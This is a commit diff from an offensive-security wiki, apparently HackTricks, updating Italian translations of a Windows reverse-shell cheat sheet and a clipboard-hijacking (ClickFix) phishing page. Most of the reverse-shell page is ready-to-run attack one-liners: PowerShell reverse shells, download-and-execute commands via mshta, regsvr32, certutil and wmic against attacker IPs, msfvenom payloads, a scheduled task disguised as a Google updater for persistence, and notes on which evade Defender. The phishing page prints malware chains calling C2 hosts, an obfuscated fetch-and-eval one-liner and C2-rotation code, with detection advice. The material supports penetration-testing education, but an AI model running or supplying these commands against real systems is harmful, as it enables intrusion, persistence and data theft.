Translated ['src/generic-methodologies-and-resources/phishing-methodolog

2025-10-10 18:36:50 +00:00 · 2025-09-29 13:28:19 +00:00 · 2025-09-29 13:28:19 +00:00 · a640c19fb1
commit a640c19fb1
parent b24e98d836
4 changed files with 491 additions and 373 deletions
--- a/src/generic-hacking/reverse-shells/windows.md
+++ b/src/generic-hacking/reverse-shells/windows.md
@ -4,8 +4,8 @@

 ## Lolbas

-La pagina [lolbas-project.github.io](https://lolbas-project.github.io/) è per Windows come [https://gtfobins.github.io/](https://gtfobins.github.io/) è per linux.\
-Ovviamente, **non ci sono file SUID o privilegi sudo in Windows**, ma è utile sapere **come** alcuni **binaries** possono essere (ab)usati per eseguire qualche tipo di azioni inaspettate come **eseguire codice arbitrario.**
+La pagina [lolbas-project.github.io](https://lolbas-project.github.io/) è per Windows come [https://gtfobins.github.io/](https://gtfobins.github.io/) è per linux.\\
+Ovviamente, **non esistono file SUID o privilegi sudo in Windows**, ma è utile conoscere **come** alcuni **binaries** possono essere (ab)usati per eseguire una sorta di azioni inattese come **execute arbitrary code.**

 ## NC
 ```bash
@ -27,7 +27,7 @@ ncat -l <PORT eg.443> --ssl
 ```
 ## SBD

-**[sbd](https://www.kali.org/tools/sbd/) è un'alternativa portatile e sicura a Netcat**. Funziona su sistemi simili a Unix e Win32. Con funzionalità come crittografia forte, esecuzione di programmi, porte sorgente personalizzabili e riconnessione continua, sbd offre una soluzione versatile per la comunicazione TCP/IP. Per gli utenti Windows, la versione sbd.exe dalla distribuzione Kali Linux può essere utilizzata come un sostituto affidabile di Netcat.
+**[sbd](https://www.kali.org/tools/sbd/) è un'alternativa portatile e sicura a Netcat**. Funziona su sistemi Unix-like e Win32. Con funzionalità come crittografia forte, esecuzione di programmi, porte di origine personalizzabili e riconnessione continua, sbd offre una soluzione versatile per la comunicazione TCP/IP. Per gli utenti Windows, la versione sbd.exe della distribuzione Kali Linux può essere usata come un'affidabile sostituta di Netcat.
 ```bash
 # Victims machine
 sbd -l -p 4444 -e bash -v -n
@ -60,7 +60,7 @@ lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket")
 ```
 ## OpenSSH

-Attaccante (Kali)
+Attacker (Kali)
 ```bash
 openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
 openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
@ -81,23 +81,23 @@ powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000
 Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
 echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
 ```
-Processo che esegue la chiamata di rete: **powershell.exe**\
-Payload scritto su disco: **NO** (_almeno da nessuna parte che io possa trovare usando procmon !_ )
+Processo che effettua chiamata di rete: **powershell.exe**\
+Payload scritto su disco: **NO** (_almeno da nessuna parte che io abbia trovato usando procmon!_)
 ```bash
 powershell -exec bypass -f \\webdavserver\folder\payload.ps1
 ```
-Processo che esegue una chiamata di rete: **svchost.exe**\
-Payload scritto su disco: **WebDAV client local cache**
+Processo che effettua una chiamata di rete: **svchost.exe**\
+Payload scritto su disco: **Cache locale del client WebDAV**

-**One liner:**
+Comando in una riga:
 ```bash
 $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
 ```
-**Ottieni ulteriori informazioni su diversi Shell di Powershell alla fine di questo documento**
+**Ottieni maggiori informazioni su diversi Powershell Shells alla fine di questo documento**

 ## Mshta

- [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
+- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
 ```bash
 mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
 ```
@ -109,11 +109,11 @@ mshta http://webserver/payload.hta
 ```bash
 mshta \\webdavserver\folder\payload.hta
 ```
-#### **Esempio di reverse shell hta-psh (usa hta per scaricare ed eseguire il backdoor PS)**
+#### **Esempio di hta-psh reverse shell (usa hta per scaricare ed eseguire PS backdoor)**
 ```xml
 <scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
 ```
-**Puoi scaricare ed eseguire molto facilmente uno zombie Koadic utilizzando lo stager hta**
+**Puoi download & execute molto facilmente un Koadic zombie usando lo stager hta**

 #### esempio hta

@ -134,7 +134,7 @@ new ActiveXObject('WScript.Shell').Run(c);
 ```
 #### **mshta - sct**

-[**Da qui**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
+[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
 ```xml
 <?XML version="1.0"?>
 <!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
@ -161,13 +161,13 @@ msf exploit(windows/misc/hta_server) > exploit
 ```bash
 Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
 ```
-**Rilevato da defender**
+**Rilevato da Defender**

 ## **Rundll32**

-[**Esempio di dll hello world**](https://github.com/carterjones/hello-world-dll)
+[**Dll hello world example**](https://github.com/carterjones/hello-world-dll)

- [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
+- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
 ```bash
 rundll32 \\webdavserver\folder\payload.dll,entrypoint
 ```
@ -175,11 +175,11 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint
 ```bash
 rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
 ```
-**Rilevato da defender**
+**Rilevato da Defender**

 **Rundll32 - sct**

-[**Da qui**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
+[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
 ```xml
 <?XML version="1.0"?>
 <!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
@ -219,11 +219,31 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
 ```
 regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
 ```
-**Rilevato da defender**
+**Rilevato da Defender**

-#### Regsvr32 -sct
+#### Regsvr32 – arbitrary DLL export with /i argument (gatekeeping & persistence)

-[**Da qui**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
+Oltre a caricare scriptlet remoti (`scrobj.dll`), `regsvr32.exe` caricherà una DLL locale e invocherà le sue esportazioni `DllRegisterServer`/`DllUnregisterServer`. I loader personalizzati abusano frequentemente di questo per eseguire codice arbitrario mentre si mimetizzano con un LOLBin firmato. Due note di tradecraft osservate in the wild:
+
+- Gatekeeping argument: la DLL esce a meno che non venga passato uno switch specifico tramite `/i:<arg>`, es. `/i:--type=renderer` per imitare i processi renderer di Chromium. Questo riduce esecuzioni accidentali e frustra le sandbox.
+- Persistence: pianifica `regsvr32` per eseguire la DLL con modalità silent + privilegi elevati e l'argomento `/i` richiesto, spacciandosi per un task di aggiornamento:
+```powershell
+Register-ScheduledTask \
+-Action (New-ScheduledTaskAction -Execute "regsvr32" -Argument "/s /i:--type=renderer \"%APPDATA%\Microsoft\SystemCertificates\<name>.dll\"") \
+-Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) \
+-TaskName 'GoogleUpdaterTaskSystem196.6.2928.90.{FD10B0DF-...}' \
+-TaskPath '\\GoogleSystem\\GoogleUpdater' \
+-Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0 -DontStopOnIdleEnd) \
+-RunLevel Highest
+```
+
+Vedi anche: la variante ClickFix clipboard‑to‑PowerShell che mette in scena un JS loader e successivamente persiste con `regsvr32`.
+{{#ref}}
+../../generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
+{{#endref}}
+
+
+[**From here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
 ```html
 <?XML version="1.0"?>
 <!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
@ -249,13 +269,13 @@ set lhost 10.2.0.5
 run
 #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
 ```
-**Puoi scaricare ed eseguire molto facilmente uno zombie Koadic utilizzando il stager regsvr**
+**Puoi scaricare ed eseguire molto facilmente uno zombie Koadic usando lo stager regsvr**

 ## Certutil

 - [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)

-Scarica un B64dll, decodificalo ed eseguilo.
+Scarica una B64dll, decodificala ed eseguila.
 ```bash
 certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
 ```
@ -279,8 +299,8 @@ msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > sh
 ```bash
 \\webdavserver\folder\batchfile.bat
 ```
-Processo che esegue la chiamata di rete: **svchost.exe**\
-Payload scritto su disco: **WebDAV client local cache**
+Processo che effettua una chiamata di rete: **svchost.exe**\
+Payload scritto su disco: **cache locale del client WebDAV**
 ```bash
 msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
 impacket-smbserver -smb2support kali `pwd`
@ -293,7 +313,7 @@ impacket-smbserver -smb2support kali `pwd`

 ## **MSIExec**

-Attaccante
+Attacker
 ```
 msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
 python -m SimpleHTTPServer 80
@ -306,11 +326,11 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi

 ## **Wmic**

- [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
+- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
 ```bash
 wmic os get /format:"https://webserver/payload.xsl"
 ```
-Esempio di file xsl [da qui](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
+Esempio di file xsl [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
 ```xml
 <?xml version='1.0'?>
 <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
@ -324,7 +344,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
 ```
 **Non rilevato**

-**Puoi scaricare ed eseguire molto facilmente uno zombie Koadic utilizzando il stager wmic**
+**Puoi scaricare ed eseguire molto facilmente uno zombie Koadic usando lo stager wmic**

 ## Msbuild

@ -332,8 +352,8 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
 ```
 cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
 ```
-Puoi utilizzare questa tecnica per bypassare le restrizioni di Application Whitelisting e Powershell.exe. Sarai presentato con una shell PS.\
-Basta scaricare questo ed eseguirlo: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
+Puoi usare questa tecnica per bypassare Application Whitelisting e le restrizioni di Powershell.exe. Ti verrà aperta una PS shell.\
+Scaricalo ed eseguilo: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
 ```
 C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
 ```
@ -341,11 +361,11 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj

 ## **CSC**

-Compila il codice C# nella macchina vittima.
+Compilare codice C# sulla macchina della vittima.
 ```
 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
 ```
-Puoi scaricare una shell inversa di base in C# da qui: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
+Puoi scaricare una reverse shell C# di base da qui: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)

 **Non rilevato**

@ -375,27 +395,27 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

 [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)

-Nella cartella **Shells**, ci sono molte shell diverse. Per scaricare ed eseguire Invoke-_PowerShellTcp.ps1_ fai una copia dello script e aggiungi alla fine del file:
+Nella cartella **Shells** ci sono molte shell diverse. Per scaricare ed eseguire Invoke-_PowerShellTcp.ps1_ crea una copia dello script e aggiungila alla fine del file:
 ```
 Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
 ```
-Inizia a servire lo script su un server web ed eseguilo sul lato della vittima:
+Inizia a servire lo script su un web server ed eseguilo sul sistema della vittima:
 ```
 powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
 ```
-Defender non lo rileva come codice malevolo (ancora, 3/04/2019).
+Defender non lo rileva come codice dannoso (ancora, 3/04/2019).

-**TODO: Controlla altre shell nishang**
+**TODO: Controllare altre nishang shells**

 ### **PS-Powercat**

 [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)

-Scarica, avvia un server web, avvia il listener ed eseguilo sul lato della vittima:
+Scarica, avvia un web server, avvia il listener ed eseguilo sul sistema della vittima:
 ```
 powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
 ```
-Defender non lo rileva come codice malevolo (ancora, 3/04/2019).
+Defender non lo rileva come codice dannoso (per ora, 3/04/2019).

 **Altre opzioni offerte da powercat:**

@ -420,17 +440,17 @@ powercat -l -p 443 -i C:\inputfile -rep

 [https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)

-Crea un launcher di powershell, salvalo in un file e scaricalo ed eseguilo.
+Crea un powershell launcher, salvalo in un file e poi scaricalo ed eseguilo.
 ```
 powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
 ```
-**Rilevato come codice malevolo**
+**Rilevato come codice dannoso**

 ### MSF-Unicorn

 [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)

-Crea una versione powershell del backdoor di metasploit utilizzando unicorn
+Crea una versione powershell del backdoor di metasploit usando unicorn
 ```
 python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
 ```
@ -438,15 +458,15 @@ Avvia msfconsole con la risorsa creata:
 ```
 msfconsole -r unicorn.rc
 ```
-Avvia un server web che serve il file _powershell_attack.txt_ ed esegui nella vittima:
+Avvia un web server che serva il file _powershell_attack.txt_ ed esegui sul victim:
 ```
 powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
 ```
-**Rilevato come codice malevolo**
+**Rilevato come codice dannoso**

-## Maggiori informazioni
+## Altro

-[PS>Attack](https://github.com/jaredhaight/PSAttack) console PS con alcuni moduli PS offensivi pre-caricati (cifrati)\
+[PS>Attack](https://github.com/jaredhaight/PSAttack) console PS con alcuni moduli PS offensivi precaricati (cifrati)\
 [https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
 WinPWN](https://github.com/SecureThisShit/WinPwn) console PS con alcuni moduli PS offensivi e rilevamento proxy (IEX)

@ -459,5 +479,6 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) console PS con alcuni moduli P
 - [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
 - [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
+- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
@ -1,4 +1,4 @@
-# Attacchi di Clipboard Hijacking (Pastejacking)
+# Clipboard Hijacking (Pastejacking) Attacks

 {{#include ../../banners/hacktricks-training.md}}

@ -6,11 +6,11 @@

 ## Panoramica

-Il clipboard hijacking – noto anche come *pastejacking* – sfrutta il fatto che gli utenti copiano e incollano routine comandi senza ispezionarli. Una pagina web malevola (o qualsiasi contesto capace di eseguire JavaScript come un'applicazione Electron o Desktop) inserisce programmaticamente testo controllato dall'attaccante negli appunti di sistema. Le vittime sono incoraggiate, normalmente da istruzioni di ingegneria sociale accuratamente elaborate, a premere **Win + R** (finestra Esegui), **Win + X** (Accesso rapido / PowerShell), o aprire un terminale e *incollare* il contenuto degli appunti, eseguendo immediatamente comandi arbitrari.
+Clipboard hijacking – also known as *pastejacking* – sfrutta il fatto che gli utenti copiano e incollano comandi senza ispezionarli. Una pagina web malevola (o qualsiasi contesto capace di eseguire JavaScript, come un'app Electron o Desktop) inserisce programmaticamente testo controllato dall'attaccante negli appunti di sistema. Le vittime sono indotte, di solito tramite istruzioni di social engineering accuratamente confezionate, a premere **Win + R** (Run dialog), **Win + X** (Quick Access / PowerShell), oppure aprire un terminal e *incollare* il contenuto degli appunti, eseguendo immediatamente comandi arbitrari.

-Poiché **nessun file viene scaricato e nessun allegato viene aperto**, la tecnica elude la maggior parte dei controlli di sicurezza delle e-mail e dei contenuti web che monitorano allegati, macro o esecuzione diretta di comandi. L'attacco è quindi popolare nelle campagne di phishing che distribuiscono famiglie di malware di consumo come NetSupport RAT, Latrodectus loader o Lumma Stealer.
+Poiché **non viene scaricato alcun file e non viene aperto alcun allegato**, la tecnica bypassa la maggior parte dei controlli di sicurezza per e-mail e contenuti web che monitorano allegati, macro o l'esecuzione diretta di comandi. L'attacco è quindi popolare nelle campagne di phishing che distribuiscono famiglie di malware commodity come NetSupport RAT, Latrodectus loader o Lumma Stealer.

-## Prova di Concetto in JavaScript
+## JavaScript Proof-of-Concept
 ```html
 <!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
 <button id="fix" onclick="copyPayload()">Fix the error</button>
@ -22,17 +22,17 @@ navigator.clipboard.writeText(payload)
 }
 </script>
 ```
-Le campagne più vecchie utilizzavano `document.execCommand('copy')`, quelle più recenti si basano sull'**Clipboard API** asincrona (`navigator.clipboard.writeText`).
+Campagne più vecchie usavano `document.execCommand('copy')`, quelle più recenti si basano sulla **Clipboard API** asincrona (`navigator.clipboard.writeText`).

-## Il Flusso ClickFix / ClearFake
+## Il flusso ClickFix / ClearFake

-1. L'utente visita un sito con errori di battitura o compromesso (ad es. `docusign.sa[.]com`)
-2. Il JavaScript **ClearFake** iniettato chiama un helper `unsecuredCopyToClipboard()` che memorizza silenziosamente una riga di comando PowerShell codificata in Base64 negli appunti.
-3. Le istruzioni HTML dicono alla vittima di: *“Premere **Win + R**, incollare il comando e premere Invio per risolvere il problema.”*
-4. `powershell.exe` viene eseguito, scaricando un archivio che contiene un eseguibile legittimo più un DLL malevolo (classico sideloading di DLL).
-5. Il loader decripta fasi aggiuntive, inietta shellcode e installa persistenza (ad es. attività pianificata) – eseguendo infine NetSupport RAT / Latrodectus / Lumma Stealer.
+1. L'utente visita un sito typosquattato o compromesso (es. `docusign.sa[.]com`)
+2. Il JavaScript **ClearFake** iniettato richiama l'helper `unsecuredCopyToClipboard()` che memorizza silenziosamente nella clipboard un one-liner PowerShell codificato in Base64.
+3. Le istruzioni HTML dicono alla vittima: *“Premere **Win + R**, incollare il comando e premere Invio per risolvere il problema.”*
+4. `powershell.exe` esegue, scaricando un archivio che contiene un eseguibile legittimo più una DLL malevola (classico DLL sideloading).
+5. Il loader decifra ulteriori stage, inietta shellcode e installa persistenza (es. scheduled task) – infine esegue NetSupport RAT / Latrodectus / Lumma Stealer.

-### Esempio di Catena NetSupport RAT
+### Esempio di catena NetSupport RAT
 ```powershell
 powershell -nop -w hidden -enc <Base64>
 # ↓ Decodes to:
@ -40,50 +40,85 @@ Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
 Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
 %TEMP%\f\jp2launcher.exe             # Sideloads msvcp140.dll
 ```
-* `jp2launcher.exe` (Java WebStart legittimo) cerca nella sua directory `msvcp140.dll`.
-* Il DLL malevolo risolve dinamicamente le API con **GetProcAddress**, scarica due binari (`data_3.bin`, `data_4.bin`) tramite **curl.exe**, li decripta usando una chiave XOR rotante `"https://google.com/"`, inietta il codice shell finale e decomprime **client32.exe** (NetSupport RAT) in `C:\ProgramData\SecurityCheck_v1\`.
+* `jp2launcher.exe` (Java WebStart legittimo) cerca nella propria directory `msvcp140.dll`.
+* La DLL malevola risolve dinamicamente le API con **GetProcAddress**, scarica due binari (`data_3.bin`, `data_4.bin`) tramite **curl.exe**, li decripta usando una chiave XOR a rotazione `"https://google.com/"`, inietta lo shellcode finale e estrae **client32.exe** (NetSupport RAT) in `C:\ProgramData\SecurityCheck_v1\`.

 ### Latrodectus Loader
 ```
 powershell -nop -enc <Base64>  # Cloud Identificator: 2031
 ```
 1. Scarica `la.txt` con **curl.exe**
-2. Esegue il downloader JScript all'interno di **cscript.exe**
-3. Recupera un payload MSI → deposita `libcef.dll` accanto a un'applicazione firmata → sideloading DLL → shellcode → Latrodectus.
+2. Esegue il JScript downloader dentro **cscript.exe**
+3. Recupera un MSI payload → deposita `libcef.dll` accanto a un'applicazione firmata → DLL sideloading → shellcode → Latrodectus.

 ### Lumma Stealer tramite MSHTA
 ```
 mshta https://iplogger.co/xxxx =+\\xxx
 ```
-La chiamata **mshta** avvia uno script PowerShell nascosto che recupera `PartyContinued.exe`, estrae `Boat.pst` (CAB), ricostruisce `AutoIt3.exe` tramite `extrac32` e concatenazione di file e infine esegue uno script `.a3x` che esfiltra le credenziali del browser a `sumeriavgv.digital`.
+La chiamata **mshta** avvia uno script PowerShell nascosto che recupera `PartyContinued.exe`, estrae `Boat.pst` (CAB), ricostruisce `AutoIt3.exe` tramite `extrac32` e concatenazione di file e infine esegue uno script `.a3x` che esfiltra le credenziali del browser verso `sumeriavgv.digital`.

-## Rilevamento e Caccia
+## ClickFix: Clipboard → PowerShell → JS eval → Startup LNK con C2 rotante (PureHVNC)

-I blue team possono combinare il monitoraggio degli appunti, la creazione di processi e la telemetria del registro per individuare l'abuso del pastejacking:
+Alcune campagne ClickFix evitano completamente i download di file e istruiscono le vittime a incollare un one‑liner che recupera ed esegue JavaScript tramite WSH, lo rende persistente e ruota il C2 quotidianamente. Esempio di catena osservata:
+```powershell
+powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new
+ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" Prеss Entеr
+```
+Caratteristiche principali
+- URL offuscato invertito a runtime per eludere l'ispezione superficiale.
+- JavaScript si rende persistente tramite uno Startup LNK (WScript/CScript) e seleziona il C2 in base al giorno corrente – permettendo una rapida domain rotation.

-* Registro di Windows: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` mantiene una cronologia dei comandi **Win + R** – cerca voci insolite in Base64 / offuscate.
-* ID Evento di Sicurezza **4688** (Creazione Processo) dove `ParentImage` == `explorer.exe` e `NewProcessName` in { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }.
-* ID Evento **4663** per la creazione di file sotto `%LocalAppData%\Microsoft\Windows\WinX\` o cartelle temporanee subito prima dell'evento 4688 sospetto.
-* Sensori degli appunti EDR (se presenti) – correlare `Clipboard Write` seguito immediatamente da un nuovo processo PowerShell.
+Frammento JS minimo usato per ruotare i C2 in base alla data:
+```js
+function getURL() {
+var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz'];
+var current_datetime = new Date().getTime();
+var no_days = getDaysDiff(0, current_datetime);
+return 'https://'
+ getListElement(C2_domain_list, no_days)
+ '/Y/?t=' + current_datetime
+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
+}
+```
+La fase successiva solitamente distribuisce un loader che stabilisce persistenza e scarica un RAT (e.g., PureHVNC), spesso pinning TLS a un certificato hardcoded e chunking del traffico.

-## Mitigazioni
+Detection ideas specific to this variant
+- Albero dei processi: `explorer.exe` → `powershell.exe -c` → `wscript.exe <temp>\a.js` (or `cscript.exe`).
+- Artefatti di avvio: LNK in `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup` che invoca WScript/CScript con un percorso JS sotto `%TEMP%`/`%APPDATA%`.
+- Registro/RunMRU e telemetria della riga di comando contenente `.split('').reverse().join('')` o `eval(a.responseText)`.
+- Ripetute esecuzioni di `powershell -NoProfile -NonInteractive -Command -` con grandi payload su stdin per alimentare script lunghi senza linee di comando estese.
+- Scheduled Tasks che successivamente eseguono LOLBins come `regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\<name>.dll"` sotto un'attività/percorso dall'aspetto di un updater (e.g., `\GoogleSystem\GoogleUpdater`).

-1. Indurimento del browser – disabilitare l'accesso in scrittura agli appunti (`dom.events.asyncClipboard.clipboardItem` ecc.) o richiedere un gesto dell'utente.
-2. Consapevolezza della sicurezza – insegnare agli utenti a *digitare* comandi sensibili o incollarli prima in un editor di testo.
-3. Modalità Linguaggio Constraining di PowerShell / Politica di Esecuzione + Controllo delle Applicazioni per bloccare one-liner arbitrari.
-4. Controlli di rete – bloccare le richieste in uscita verso domini noti per pastejacking e malware C2.
+Threat hunting
+- Hostname e URL C2 che ruotano quotidianamente con pattern `.../Y/?t=<epoch>&v=5&p=<encoded_user_pc_firstinfection>`.
+- Correlare eventi di scrittura nella clipboard seguiti da incolla Win+R e immediata esecuzione di `powershell.exe`.

-## Trucchi Correlati
+Blue-teams can combine clipboard, process-creation and registry telemetry to pinpoint pastejacking abuse:

-* **Discord Invite Hijacking** spesso abusa dello stesso approccio ClickFix dopo aver attirato gli utenti in un server malevolo:
+* Windows Registry: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` keeps a history of **Win + R** commands – look for unusual Base64 / obfuscated entries.
+* Security Event ID **4688** (Process Creation) where `ParentImage` == `explorer.exe` and `NewProcessName` in { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }.
+* Event ID **4663** for file creations under `%LocalAppData%\Microsoft\Windows\WinX\` or temporary folders right before the suspicious 4688 event.
+* EDR clipboard sensors (if present) – correlate `Clipboard Write` followed immediately by a new PowerShell process.
+
+## Mitigations
+
+1. Browser hardening – disable clipboard write-access (`dom.events.asyncClipboard.clipboardItem` etc.) or require user gesture.
+2. Security awareness – teach users to *digitare* sensitive commands or paste them into a text editor first.
+3. PowerShell Constrained Language Mode / Execution Policy + Application Control to block arbitrary one-liners.
+4. Network controls – block outbound requests to known pastejacking and malware C2 domains.
+
+## Related Tricks
+
+* **Discord Invite Hijacking** often abuses the same ClickFix approach after luring users into a malicious server:

 {{#ref}}
 discord-invite-hijacking.md
 {{#endref}}

-## Riferimenti
+## References

 - [Fix the Click: Preventing the ClickFix Attack Vector](https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/)
 - [Pastejacking PoC – GitHub](https://github.com/dxa4481/Pastejacking)
